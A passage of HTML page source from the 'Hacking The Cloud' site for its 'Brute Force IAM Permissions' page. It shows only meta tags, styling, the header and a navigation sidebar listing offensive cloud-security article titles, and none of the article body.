to."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/brute_force_iam_permissions.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Brute Force IAM Permissions - Hacking The Cloud"><meta property=twitter:description content="Brute force the IAM permissions of a user or role to see what you have access to."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/brute_force_iam_permissions.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#updating-apis class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Brute Force IAM Permissions </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2 checked> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Brute Force IAM Permissions </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#updating-apis class=md-nav__link> <span class=md-ellipsis> Updating APIs </span> </a> </li> <li class=md-nav__item> <a href=#opsec-considerations class=md-nav__link> <span class=md-ellipsis> OPSEC Considerations </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> 